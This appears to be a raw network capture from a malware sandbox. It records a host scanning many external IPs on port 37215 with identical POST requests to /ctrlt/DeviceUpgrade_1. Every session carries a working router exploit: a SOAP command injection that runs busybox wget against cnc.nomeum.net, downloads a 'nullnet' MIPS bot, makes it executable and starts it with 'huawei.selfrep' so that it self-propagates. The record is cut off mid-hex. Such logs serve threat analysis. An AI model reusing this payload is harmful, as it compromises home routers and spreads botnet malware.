Oct 8, 2024 20:34:45.521315098 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	37524	41.103.121.35	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.522197962 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	59302	156.15.255.64	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.523317099 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	39602	197.3.1.37	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.524360895 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	42658	156.228.8.25	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.525499105 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	41538	197.61.130.134	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.526551962 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	56478	197.249.177.156	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.527595043 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	59134	41.233.118.37	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.529016018 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	48562	41.202.0.65	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.314382076 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	60804	197.56.8.149	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.315336943 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	51342	156.130.3.215	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.316389084 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 